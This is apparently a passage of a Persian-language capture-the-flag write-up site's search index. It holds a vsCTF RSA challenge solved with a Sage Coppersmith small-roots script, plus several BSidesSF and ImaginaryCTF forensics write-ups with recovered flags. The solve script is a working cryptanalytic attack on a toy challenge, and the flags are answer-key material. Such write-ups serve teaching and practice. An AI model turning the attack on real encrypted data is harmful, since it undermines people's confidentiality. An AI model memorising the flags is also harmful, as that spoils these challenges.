\u0645\u0642\u062f\u0627\u0631 p \u0648 q \u0627\u0639\u062f\u0627\u062f\u06cc 1024 \u0628\u06cc\u062a\u06cc \u0647\u0633\u062a\u0646\u0646\u062f \u06a9\u0647 \u0627\u0632 \u0636\u0631\u0628 \u0622\u0646\u0647\u0627 \u067e\u06cc\u0645\u0627\u0646\u0647 2048 \u0628\u06cc\u062a\u06cc n \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc \u0634\u0648\u062f. \u0627\u0632\u0637\u0631\u0641 \u062f\u06cc\u06af\u0631 \u0647\u0645\u0627\u0646 \u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u06a9\u062f \u0632\u06cc\u0631 \u0646\u0634\u0627\u0646 \u062f\u0627\u062f\u06cc\u0645\u060c \u0637\u0648\u0644 m \u06cc\u06a9 \u0645\u062a\u0646 64 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631\u06cc (\u0628\u0627 \u0641\u0631\u0636 15 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631\u0628\u0648\u062f\u0646 \u0641\u0644\u06af \u0627\u0635\u0644\u06cc) \u0627\u0633\u062a \u06a9\u0647 \u0637\u0648\u0644 \u0622\u0646 512 \u0628\u06cc\u062a\u06cc \u0627\u0633\u062a\u060c \u067e\u0633 \u0647\u0646\u06af\u0627\u0645 m^5 \u0637\u0648\u0644 \u0622\u0646 2560 \u0628\u06cc\u062a \u0645\u06cc \u0634\u0648\u062f \u06a9\u0647 \u0628\u0632\u0631\u06af\u062a\u0631 \u067e\u06cc\u0645\u0627\u0646\u0647 \u0627\u0633\u062a\u060c \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u0645\u062d\u0627\u0633\u0628\u0647 \u0631\u06cc\u0634\u0647 \u0622\u0646 \u0631\u0627 \u0627\u0645\u06a9\u0627\u0646 \u067e\u0630\u06cc\u0631 \u0646\u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f.

p = gP(1024)\nq = gP(1024)\nn = p * q\nassert n.bit_length() == 2048\n\nm = \"Wow good job the flag is (omg hype hype): vsctf{aaaaaaaaaaaaaaa}\"\nassert m.bit_length() == (64*8) == 512\n

\u0628\u0627 \u0627\u0646\u062f\u06a9\u06cc \u062f\u0642\u062a \u062f\u0631 \u06a9\u062f \u067e\u0627\u06cc\u062a\u0648\u0646 \u0633\u0648\u0627\u0644 \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u06cc\u0645 \u06a9\u0647 \u0645\u0642\u062f\u0627\u0631 \u067e\u06cc\u0627\u0645 m \u062f\u0627\u0631\u0627\u06cc \u0645\u0642\u062f\u0627\u0631\u06cc \u0645\u062a\u0646 \u0627\u0636\u0627\u0641\u06cc \u062b\u0627\u0628\u062a \u0642\u0628\u0644 \u0627\u0632 \u0641\u0644\u06af \u0627\u0635\u0644\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0628\u0627\u0639\u062b \u0645\u06cc \u0634\u0648\u062f \u0647\u0646\u06af\u0627\u0645 \u062a\u0628\u062f\u06cc\u0644 m\u0628\u0647 \u0639\u062f\u062f\u060c \u0627\u0631\u0642\u0627\u0645 \u0622\u0646 \u062a\u0627 \u062d\u062f \u0632\u06cc\u0627\u062f\u06cc \u062b\u0627\u0628\u062a \u0628\u0627\u0642\u06cc \u0628\u0645\u0627\u0646\u062f. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 m \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062c\u0645\u0639 \u062f\u0648 \u0639\u062f\u062f m1 \u0648 m2 \u0645\u0627\u0646\u0646\u062f \u0641\u0631\u0645\u0648\u0644 \u0632\u06cc\u0631 \u0628\u0646\u0648\u06cc\u0633\u06cc\u0645. \u062f\u0631 \u0627\u06cc\u0646 \u062d\u0627\u0644\u062a \u0686\u0648\u0646 m1 \u0647\u0645\u06cc\u0634\u0647 \u0645\u0642\u062f\u0627\u0631 \u062b\u0627\u0628\u062a\u06cc \u0627\u0633\u062a\u060c \u0622\u0646 \u0631\u0627 \u062e\u0648\u0627\u0647\u06cc\u0645 \u062f\u0627\u0634\u062a.

C\\equiv m^5 \\ mod \\ n C\\equiv \\left (m{1} + m{2} \\right)^{5} mod \\ n

\u062f\u0631 \u0627\u06cc\u0646 \u0631\u0627\u0628\u0637\u0647 \u0631\u06cc\u0627\u0636\u06cc \u0645\u0642\u0627\u062f\u06cc\u0631 C \u060cm1 \u060cn \u0645\u0634\u062e\u0635 \u0627\u0633\u062a \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0637\u0648\u0644 m2 \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u0627\u06cc\u0646 \u062f\u0642\u06cc\u0642\u0627 \u0634\u0631\u0627\u06cc\u0637 \u062d\u0645\u0644\u0647 \u0631\u0648\u0634\u200c\u0647\u0627\u06cc Coppersmith \u0631\u0627 \u0628\u0647 \u0648\u062c\u0648\u062f \u0645\u06cc \u0622\u0648\u0631\u062f. \u0686\u0648\u0646 \u0637\u0648\u0644 \u0641\u0644\u06af \u0627\u0635\u0644\u06cc (m2) \u06a9\u0645\u062a\u0631 \u0627\u0632 16 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u0627\u0633\u062a \u0628\u0627\u06cc\u062f \u062f\u0631 \u06cc\u06a9 \u062d\u0644\u0642\u0647 \u0637\u0648\u0644 \u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 (1-15) \u0631\u0627 \u0628\u0631\u0627\u06cc \u0622\u0646 \u0627\u0645\u062a\u062d\u0627\u0646 \u0645\u06cc\u200c\u06a9\u0631\u062f\u06cc\u0645 \u0627\u0645\u0627 \u0686\u0648\u0646 \u062d\u062f\u0633 \u0632\u062f\u06cc\u0645 \u06a9\u0647 \u0637\u0648\u0644 \u0622\u0646 15 \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f \u0648 \u06cc\u06a9 \u06a9\u0627\u0631\u06a9\u062a\u0631 \"{\" \u062f\u0631 \u0627\u0646\u062a\u0647\u0627\u06cc \u0622\u0646 \u0627\u0633\u062a\u060c \u0645\u0633\u062a\u0642\u06cc\u0645 \u0645\u0642\u062f\u0627\u0631 16 \u0631\u0627 \u0628\u0631\u0627\u06cc \u0642\u0631\u0627\u0631\u062f\u0627\u062f\u0646 \u062f\u0631 m \u062f\u0631 \u0646\u0638\u0631 \u06af\u0631\u0641\u062a\u06cc\u0645. \u062d\u0627\u0644 \u0628\u0631\u0627\u06cc \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 \u0645\u0642\u062f\u0627\u0631 m2 \u06a9\u0647 \u0641\u0644\u06af \u0686\u0627\u0644\u0634 \u0627\u0633\u062a \u0627\u0632 \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u062d\u0644\u0642\u0647 \u0686\u0646\u062f\u062c\u0645\u0644\u0647 \u0627\u06cc (polynomial ring) \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u06cc\u0645 (\u0627\u0632 \u0631\u0648\u0634 LLL \u0647\u0645 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0631\u06cc\u0634\u0647\u200c\u0647\u0627\u06cc \u0627\u06cc\u0646 \u0645\u0639\u0627\u062f\u0644\u0647 \u0631\u0648 \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0631\u06cc\u0645). sage \u06cc\u06a9 \u0627\u0628\u0632\u0627\u0631 \u062a\u0648\u0627\u0646\u0645\u0646\u062f \u0628\u0631\u0627\u06cc \u062d\u0644 \u0627\u06cc\u0646 \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u067e\u06cc\u0634\u0631\u0641\u062a\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0628\u0647 \u0632\u0628\u0627\u0646 \u067e\u0627\u06cc\u062a\u0648\u0646 \u062a\u0648\u0633\u0639\u0647 \u06cc\u0627\u0641\u062a\u0647 \u0627\u0633\u062a. \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06a9\u062f \u0632\u06cc\u0631 \u062f\u0631 sage \u06cc\u0627 import \u06a9\u0631\u062f\u0646 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647 \u0622\u0646 \u0645\u06cc \u062a\u0648\u0627\u0646 \u0645\u0642\u062f\u0627\u0631 \u0641\u0644\u06af \u0631\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f.

solve.py
from sage.all import *\nfrom Crypto.Util.number import *\n\nn = 17017748438705066485980265610504973941689507158214048907934864053951824889071064601073910857498716466379300399394556852943447842816066237762975759146067603346932655815765634166764048084180474131701931383171349451845316534710526574012912735473043515230467907689465656893004952933482461926380363467891367371320920210649076831336026531060035987624376755145919230635976854094060401025222767306359467726378382365555864913880755980365664883663551789406674211837707988941852191026959073337595157795634757323135639457679829852893808412935293002447739900499953490408700913079007749683585557520473906185642328582577705062027631\nc1 = 9003062544361468960014218470636404669173735044866342965869660382166263123283806177716541318605500035571883237116335008322263825288011535307210534022613104692306853206661705792651423740907471425532463013873903464958932506542067750598093825475707515378835734567383026995274504596249534287698334255122015294261751214389359548871918811764608535909122754450577618713535336693131845790212493936556686306004719501205711258082359280474173467230238314287036337126459732454648594184069081357024594728733999140381651217417997443994617467740923081974477194695681963791649774704734532274162532760702494593072786469541911070488784\nc2 = 2546072448640808612556238065690407010381885201320761372614998667179031247594621466783076820338223816545993779457675793555900878984022886823043416655251600929530018123073858500887780064339665319391244085462799327306580227414809334236098388514789401395708999589289970455742049539846184453090569082144704220108709060216465897683931008575383253420528012257869329475086084346328436404376300397163706384908585243637028839505661432353166021577388901987667955042566919645080401328362001267759995517247132976744463557149680150697522052163536029888394019138507753598600096770531185804183946347241540134230811866880904134661137\n\nm5 = c2 * pow(c1, -1, n) % n\nm1 = bytes_to_long(b\"Wow good job the flag is (omg hype hype): vsctf{\") * 256**16 + bytes_to_long(b'}')\nG.<m2> = PolynomialRing(Zmod(n))\nf = (m1+m2)^5-m5\nflag = f.small_roots()[0]\nprint(long_to_bytes(int(flag)))\n
FLAG

vsctf{WE<3COPPERSMITH}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["vSCTF","vSCTF-2023","Crypto","RSA","Extended gcd","Partial known m","Coppersmith","Sage"]},{"location":"forensic/","title":"\u062c\u0631\u0645\u200c\u0634\u0646\u0627\u0633\u06cc","text":"

\u062a\u0627 \u062d\u0627\u0644\u0627 \u0628\u0627 \u062e\u0648\u062f\u062a\u0648\u0646 \u0641\u06a9\u0631 \u06a9\u0631\u062f\u06cc\u0646 \u0648\u0642\u062a\u06cc \u06cc\u0647 \u0633\u0627\u0632\u0645\u0627\u0646\u06cc \u0647\u06a9 \u0645\u06cc\u0634\u0647\u060c \u0686\u062c\u0648\u0631\u06cc \u0645\u06cc\u0641\u0647\u0645\u0646 \u0627\u0632 \u06a9\u062c\u0627 \u062e\u0648\u0631\u062f\u0646\u061f

\u0645\u0627 \u0648\u0627\u0631\u062f \u0639\u0645\u0644 \u0645\u06cc\u0634\u06cc\u0645

\u0628\u0635\u0648\u0631\u062a \u06a9\u0644\u06cc \u0639\u0644\u0645 \u062c\u0631\u0645 \u0634\u0646\u0627\u0633\u06cc \u0628\u0647 \u0627\u06cc\u0646 \u0639\u0645\u0644 \u0645\u06cc\u067e\u0631\u062f\u0627\u0632\u0647 \u06a9\u0647 \u06cc\u06a9 \u062c\u0631\u0645 \u0686\u062c\u0648\u0631\u06cc \u0627\u062a\u0641\u0627\u0642 \u0627\u0641\u062a\u0627\u062f\u0647

\u0634\u0631\u0644\u0648\u06a9 \u062d\u0648\u0632\u0647 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u0645\u0627\u06cc\u06cc\u0645 =))

\u062a\u0648 \u0627\u06cc\u0646 \u062f\u0633\u062a\u0647 \u0627\u0632 \u0686\u0627\u0644\u0634 \u0647\u0627 \u0627\u06a9\u062b\u0631\u0627 \u06cc\u0647 \u0641\u0627\u06cc\u0644\u06cc \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u0645\u0627 \u0642\u0631\u0627\u0631 \u0645\u06cc\u062f\u0646 \u0648 \u0645\u0627 \u0628\u0627\u06cc\u062f \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u062f\u0627\u0646\u0634\u06cc \u06a9\u0647 \u0627\u0632 \u0642\u0628\u0644 \u06a9\u0633\u0628 \u06a9\u0631\u062f\u06cc\u0645\u060c \u062f\u0631 \u0645\u06cc\u0627\u0646 \u0627\u0646\u0628\u0648\u0647\u06cc \u0627\u0632 \u062f\u06cc\u062a\u0627 \u0628\u0647 \u0641\u0644\u06af \u0645\u0648\u0631\u062f \u0646\u0638\u0631 \u0637\u0631\u0627\u062d \u0628\u0631\u0633\u06cc\u0645

\u062a\u0648 \u0627\u06cc\u0646 \u0639\u0644\u0645 \u062f\u0627\u0646\u0634 \u0641\u0627\u06cc\u0644 \u0633\u06cc\u0633\u062a\u0645 \u0628\u0647 \u0648\u0641\u0648\u0631 \u0646\u06cc\u0627\u0632 \u0645\u06cc\u0634\u0647 \u0648 \u062f\u0627\u0646\u0634 \u06a9\u0644\u06cc \u0641\u0627\u06cc\u0644 \u0647\u0627 \u0627\u0632 \u0642\u0628\u06cc\u0644 \u0627\u06cc\u0646 \u06a9\u0647 \u0647\u0631 \u0641\u0627\u06cc\u0644 \u0686\u0647 \u0641\u0631\u0645\u062a\u06cc \u062f\u0627\u0631\u0647 \u0648 \u0641\u0627\u06cc\u0644 \u0647\u0627 \u0628\u0647 \u0686\u0647 \u0635\u0648\u0631\u062a \u062e\u0648\u0646\u062f\u0647 \u06cc\u0627 \u0646\u0648\u0634\u062a\u0647 \u0645\u06cc\u0634\u0646 \u0648 \u062a\u0631\u06cc\u06a9 \u0647\u0627\u06cc \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0627\u0648\u0646\u0647\u0627 \u0628\u0647 \u0686\u0647 \u0635\u0648\u0631\u062a \u0647\u0633\u062a

"},{"location":"forensic/writeups/BSidesSF/doctor/","title":"Doctor","text":"

\u062a\u0648 \u0627\u06cc\u0646 \u0686\u0644\u0646\u062c \u0628\u0647 \u0645\u0627 \u06cc\u0647 \u0641\u0627\u06cc\u0644 docx \u062f\u0627\u062f\u0646 \u06a9\u0647 \u06cc\u0647 \u0633\u0631\u06cc \u0639\u06a9\u0633 \u0631\u0648 \u0646\u0634\u0648\u0646 \u0645\u06cc\u062f\u0647

\u062f\u0631 \u0642\u062f\u0645 \u0627\u0648\u0644 \u0645\u0648\u0627\u062c\u0647\u0647 \u0628\u0627 \u0641\u0627\u06cc\u0644 \u0648\u0631\u062f\u060c \u0628\u0627\u06cc\u062f \u0628\u0627\u0632\u0634 \u06a9\u0646\u06cc\u0645 \u0648 \u0627\u06af\u0647 \u0641\u0644\u06af\u06cc \u062a\u0648\u0634 \u0646\u0628\u0648\u062f\u060c \u062f\u0631 \u0648\u0647\u0644\u0647 \u062f\u0648\u0645 \u0628\u0627 zip viewer \u0628\u0627\u0632\u0634 \u06a9\u0646\u06cc\u0645

\u062a\u0648 \u0645\u062d\u062a\u0648\u06cc\u0627\u062a \u0645\u062a\u0646\u06cc \u0627\u06cc\u0646 \u0641\u0627\u06cc\u0644 \u0647\u0645 \u0641\u0644\u06af\u06cc \u0646\u0628\u0648\u062f \u0648 \u067e\u0633 \u0628\u0627 zip viewer \u0628\u0627\u0632\u0634 \u0645\u06cc\u06a9\u0646\u06cc\u0645 =)))

\u06cc\u06a9\u0645 \u06a9\u0647 \u062a\u0648 \u0641\u0648\u0644\u062f\u0631 \u0647\u0627 \u0628\u06af\u0631\u062f\u06cc\u0645 \u0648 \u06cc\u0647 \u0633\u0631\u06cc \u0686\u06cc\u0632\u0627 \u0645\u062b\u0644 \u0648\u062c\u0648\u062f \u062f\u0627\u0634\u062a\u0646 \u06cc\u0627 \u0646\u062f\u0627\u0634\u062a\u0646 macro \u0645\u0637\u0645\u0626\u0646 \u0628\u0634\u06cc\u0645\u060c \u0686\u0634\u0645\u0645\u0648\u0646 \u0645\u06cc\u062e\u0648\u0631\u0647 \u0628\u0647 \u0639\u06a9\u0633 \u0647\u0627\u06cc\u06cc \u06a9\u0647 \u062a\u0648 \u0641\u0627\u06cc\u0644 \u0648\u0631\u0648\u062f \u06af\u0646\u062c\u0648\u0646\u062f\u0647 \u0634\u062f\u0646

\u0627\u0645\u0627 wait, what?

\u0686\u0631\u0627 \u06f5 \u062a\u0627 \u0639\u06a9\u0633\u0647\u061f \u0645\u06af\u0647 \u062a\u0648 \u0641\u0627\u06cc\u0644 \u0648\u0631\u062f \u06f4 \u062a\u0627 \u0646\u0628\u0648\u062f\u061f

\u06cc\u0647 \u0639\u06a9\u0633 \u0627\u0636\u0627\u0641\u06cc\u0647

\u06a9\u0647 \u0627\u0648\u0646\u0645 image-0.png \u0647\u0633\u062a \u0641\u0644\u06af \u062a\u0648\u0634\u0647

FLAG

CTF{st0ck_cut3_p1c5}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BSidesSF","BSidesSF-2024","Forensics","Word"]},{"location":"forensic/writeups/BSidesSF/javai/","title":"Javai","text":"

\u0627\u06cc\u0646\u062c\u0627 \u0647\u0645 \u06cc\u0647 \u0641\u0627\u06cc\u0644 docx \u0628\u0647 \u0645\u0627 \u062f\u0627\u062f\u0646 \u0648 \u0628\u0639\u062f \u0627\u0632 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646\u0634 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u0628\u0627\u06cc\u062f \u0628\u0627 zip viewer \u0647\u0645 \u06cc\u0647 \u0641\u0631\u0635\u062a \u0628\u0647\u0634 \u0628\u062f\u06cc\u0645

\u0639\u0647 \u0627\u06cc\u0646 \u0641\u0627\u06cc\u0644 getflag.class \u0686\u06cc\u0647 \u0627\u06cc\u0646\u062c\u0627\u061f

\u0641\u0627\u06cc\u0644 \u0631\u0648 \u0627\u06a9\u0633\u062a\u0631\u06a9\u062a \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0645\u06cc\u0631\u06cc\u0645 \u0633\u0631\u0627\u063a JadX \u0648 \u0641\u0627\u06cc\u0644 \u0631\u0648 \u0628\u0627\u0632 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0641\u0644\u06af \u0631\u0648 \u062f\u0648 \u062f\u0633\u062a\u06cc \u062a\u0642\u062f\u06cc\u0645\u0645\u0648\u0646 \u0645\u06cc\u06a9\u0646\u0647

FLAG

CTF{javai_java_with_100x_ai}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BSidesSF","BSidesSF-2024","Forensics","Word"]},{"location":"forensic/writeups/BSidesSF/redacted/","title":"Redacted","text":"

\u0627\u06cc\u0646\u062c\u0627 \u06cc\u0647 \u0639\u06a9\u0633 \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u06cc\u0647 \u062a\u06cc\u06a9\u0634 \u0628\u0627 \u0627\u062f\u06cc\u062a\u0648\u0631 \u0645\u0648\u0628\u0627\u06cc\u0644 \u0631\u0648\u0634 \u062e\u0637 \u06a9\u0634\u06cc\u062f\u0647 \u0634\u062f\u0647

\u06cc\u0647 \u0628\u0627\u0631 \u06cc\u0647 \u062a\u0631\u0641\u0646\u062f \u062a\u0648 \u062a\u0648\u06cc\u06cc\u062a\u0631 \u062f\u06cc\u062f\u0645 \u06a9\u0647 \u0645\u06cc\u0634\u062f \u0632\u06cc\u0631 \u0627\u06cc\u0646 \u062e\u0637\u0627 \u0631\u0648 \u062e\u0648\u0646\u062f =)))

\u067e\u0633 \u062f\u0633\u062a \u0628\u0647 \u06a9\u0627\u0631 \u0634\u062f\u0645 \u0648 \u062a\u0648 gimp \u0641\u0627\u06cc\u0644 \u0631\u0648 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0645 \u0648

\u0628\u0627 \u06cc\u06a9\u0645 \u0628\u0627\u0632\u06cc \u0628\u0627\u0632\u06cc \u06a9\u0631\u062f\u0646 \u0628\u0627 \u0622\u067e\u0634\u0646\u0627\u06cc gimp \u062a\u0648\u0646\u0633\u062a\u0645 \u0641\u0644\u06af \u0631\u0648 \u0628\u06a9\u0634\u0645 \u0628\u06cc\u0631\u0648\u0646

FLAG

CTF{censor_this}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BSidesSF","BSidesSF-2024","Forensics","PNG"]},{"location":"forensic/writeups/BSidesSF/sgai/","title":"Sgai","text":"

\u0627\u06cc\u0646 \u0686\u0644\u0646\u062c \u06f4 \u062a\u0627 \u0641\u0644\u06af \u0645\u062e\u062a\u0644\u0641 \u062f\u0627\u0634\u062a \u06a9\u0647 \u0645\u0648\u0641\u0642 \u0634\u062f\u0645 \u06f3 \u062a\u0627\u0634\u0648\u0646 \u0631\u0648 \u0628\u0647 \u062f\u0633\u062a \u0628\u06cc\u0627\u0631\u0645

\u067e\u0633\u0648\u0646\u062f \u0641\u0627\u06cc\u0644 \u0686\u06cc\u0647\u061f sgi \u062f\u06cc\u06af\u0647 \u0686\u0647 \u06a9\u0648\u0641\u062a\u06cc\u0647\u061f

\u0645\u0647\u0645 \u0646\u06cc\u0633

\u0686\u0648\u0646 \u0627\u06af\u0647 \u062f\u0628\u0644 \u06a9\u0644\u06cc\u06a9 \u06a9\u0646\u06cc\u0645 \u0631\u0648\u0634\u060c \u0628\u0627 gimp \u0628\u0627\u0632 \u0645\u06cc\u0634\u0647

\u0628\u0647 \u0634\u062e\u0635\u0647 \u062e\u06cc\u0644\u06cc \u0628\u0627\u0647\u0627\u0634 \u0628\u0627\u0632\u06cc \u0628\u0627\u0632\u06cc \u06a9\u0631\u062f\u0645 \u0648 \u062a\u0627 \u0628\u0627\u0644\u0627\u062e\u0631\u0647 \u0641\u0647\u0645\u06cc\u062f\u0645 \u0627\u06af\u0647 layer alpha \u0631\u0648 \u0645\u062e\u0641\u06cc \u06a9\u0646\u0645\u060c \u06cc\u0647 \u0641\u0644\u06af \u0645\u06cc\u0632\u0646\u0647 \u0628\u06cc\u0631\u0648\u0646

\u0628\u0631\u0627 \u0641\u0644\u06af \u0628\u0639\u062f\u06cc \u0628\u0627\u06cc\u062f \u062d\u0631\u0641\u0647 \u0627\u06cc \u062a\u0631 \u0639\u0645\u0644 \u06a9\u0646\u06cc\u0645

\u067e\u0633 \u0645\u06cc\u0631\u06cc\u0645 \u0633\u0631\u0627\u063a hex editor

\u0632\u0627\u0631\u062a \u0641\u0644\u06af \u0628\u0639\u062f\u06cc \u0647\u0645 \u062f\u0631\u0627\u0648\u0645\u062f =)))

\u0628\u0631\u0627 \u0641\u0644\u06af \u0633\u0648\u0645 \u0628\u0639\u062f \u0627\u0632 \u0633\u0627\u0639\u062a\u0647\u0627 \u0622\u0632\u0645\u0648\u0646 \u0648 \u062e\u0637\u0627 \u062a\u0635\u0645\u06cc\u0645 \u06af\u0631\u0641\u062a\u0645 \u06cc\u0647 \u0641\u0627\u06cc\u0644 sgi \u062f\u06cc\u06af\u0647 \u0648\u0631\u062f\u0627\u0631\u0645 \u0648 \u0628\u0627 \u0627\u06cc\u0646 \u0645\u0642\u0627\u06cc\u0633\u0647 \u06a9\u0646\u0645

\u067e\u0633 \u0628\u0627 \u0627\u06cc\u0646 \u062f\u0633\u062a\u0648\u0631\u060c \u06cc\u0647 rebase \u0627\u0632 \u0647\u0645\u06cc\u0646 \u0641\u0627\u06cc\u0644 sgi \u0633\u0627\u062e\u062a\u0645 \u0648 \u0647\u0631\u062f\u0648 \u0631\u0648 \u062a\u0648 hex editor \u0628\u0627\u0632 \u06a9\u0631\u062f\u0645

convert sgai.sgi a.sgi\n

\u062a\u0641\u0627\u0648\u062a \u0648\u0627\u0636\u062d\u0647

\u06cc\u0647 \u0645\u0634\u062a FF \u0627\u06cc\u0646\u0648\u0631 \u0647\u0633\u062a\u0646 \u06a9\u0647 \u0627\u0648\u0646\u0648\u0631 00 \u0627\u0646

\u0628\u0627 \u0628\u0631\u0631\u0633\u06cc struct \u0641\u0627\u06cc\u0644 \u0627\u0632 \u0627\u06cc\u0646\u062c\u0627 \u0641\u0647\u0645\u06cc\u062f\u0645 \u06a9\u0647 \u0627\u06cc\u0646 \u062a\u06cc\u06a9\u0647 \u067e\u062f\u06cc\u0646\u06af\u0647

\u067e\u0633 \u06a9\u0644 \u067e\u062f\u06cc\u0646\u06af \u06a9\u0647 \u0645\u06cc\u0634\u0647 \u0627\u0632 0x6c \u062a\u0627 0x1ff \u06a9\u067e\u06cc \u06a9\u0631\u062f\u0645 xor \u0632\u062f\u0645 \u0628\u0627 FF \u062a\u0627 \u0647\u0645\u0634\u0648\u0646 00 \u0628\u0634\u0646

\u0627\u06cc\u0646\u0645 \u0627\u0632 \u0641\u0644\u06af \u0633\u0648\u0645

FLAG

CTF{i_name_thee_flag} CTF{invisibility_cloak} CTF{padpadpad_really_do_we_need_512}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BSidesSF","BSidesSF-2024","Forensics","SGI","Steganography"]},{"location":"forensic/writeups/BSidesSF/undelete/","title":"Undelete","text":"

\u0627\u06cc\u0646 \u0686\u0644\u0646\u062c \u0633\u0627\u062f\u0647 \u062a\u0631\u06cc\u0646 \u0686\u0644\u0646\u062c \u0628\u0648\u062f =))

\u06cc\u0647 binwalk \u0633\u0627\u062f\u0647 \u0645\u06cc\u062a\u0648\u0646\u0633\u062a \u0641\u0644\u06af \u0631\u0648 \u062f\u0631 \u0628\u06cc\u0627\u0631\u0647

binwalk --dd=\".*\" floppy.img\n

FLAG

CTF{144_mb_enough_for_anybody}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BSidesSF","BSidesSF-2024","Forensics"]},{"location":"forensic/writeups/BSidesSF/ztxt/","title":"Ztxt","text":"

\u0627\u06cc\u0646 \u0686\u0644\u0646\u062c \u0627\u0632 \u0627\u0648\u0646 \u06cc\u06a9\u06cc \u0647\u0645 \u0631\u0627\u062d\u062a \u062a\u0631\u0647

\u0628\u0627 exiftool \u0641\u0644\u06af \u062f\u0631 \u0645\u06cc\u0627\u062f

FLAG

CTF{zhis_zis_zhe_zlag}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BSidesSF","BSidesSF-2024","Forensics"]},{"location":"forensic/writeups/ImaginaryCTF/elves/","title":"elf in front of a sunset","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0686\u0644\u0646\u062c \u06cc\u0647 \u0639\u06a9\u0633 \u0627\u0632 \u0627\u0644\u0641\u200c\u0647\u0627 (\u0645\u0648\u062c\u0648\u062f\u0627\u062a \u062a\u062e\u06cc\u0644\u06cc) \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u0645\u0627 \u06af\u0630\u0627\u0634\u062a\u0647 \u0634\u062f\u0647. \u0628\u0627 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u0627\u0648\u0646 \u0648 \u0646\u06af\u0627\u0647 \u06a9\u0631\u062f\u0646\u0634 \u0648 \u0622\u0632\u0645\u0627\u06cc\u0634\u200c\u0647\u0627\u06cc \u0633\u0627\u062f\u0647 \u0628\u0627 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc\u06cc \u0645\u062b\u0644 strings \u0648 exiftool \u0648 stegsolver \u0648 zsteg\u060c \u062f\u06cc\u062a\u0627\u06cc \u062e\u06cc\u0644\u06cc \u0645\u0647\u0645\u06cc \u067e\u06cc\u062f\u0627 \u0646\u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648\u0644\u06cc \u06cc\u06a9\u0633\u0631\u06cc \u0647\u06cc\u0646\u062a \u0628\u0647 \u062f\u0633\u062a \u0645\u06cc\u0627\u0631\u06cc\u0645. \u0645\u062b\u0644\u0627 \u0648\u062c\u0648\u062f \u06a9\u0644\u0645\u0627\u062a \u06a9\u0644\u06cc\u062f\u06cc \u0645\u062b\u0644 GGGNNNUUU \u0648 EEELLLFFF \u062f\u0631 \u062e\u0631\u0648\u062c\u06cc strings \u0627\u06cc\u0646 \u0639\u06a9\u0633 \u0648 \u0627\u06cc\u0646 \u0627\u062e\u0637\u0627\u0631 67056 bytes of extra data after image \u062f\u0631 \u062e\u0631\u0648\u062c\u06cc zsteg \u0646\u0634\u0648\u0646 \u0645\u06cc\u200c\u062f\u0647 \u06a9\u0647 \u0622\u062b\u0627\u0631\u06cc \u0627\u0632 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 elf \u062f\u0631 \u0627\u0646\u062a\u0647\u0627\u06cc \u0627\u06cc\u0646 \u0641\u0627\u06cc\u0644 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u0647. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0641\u0627\u06cc\u0644 \u0631\u0627 \u062f\u0631 \u06cc\u06a9 \u0627\u062f\u06cc\u062a\u0648\u0631 hex \u0628\u0627\u0632 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645.

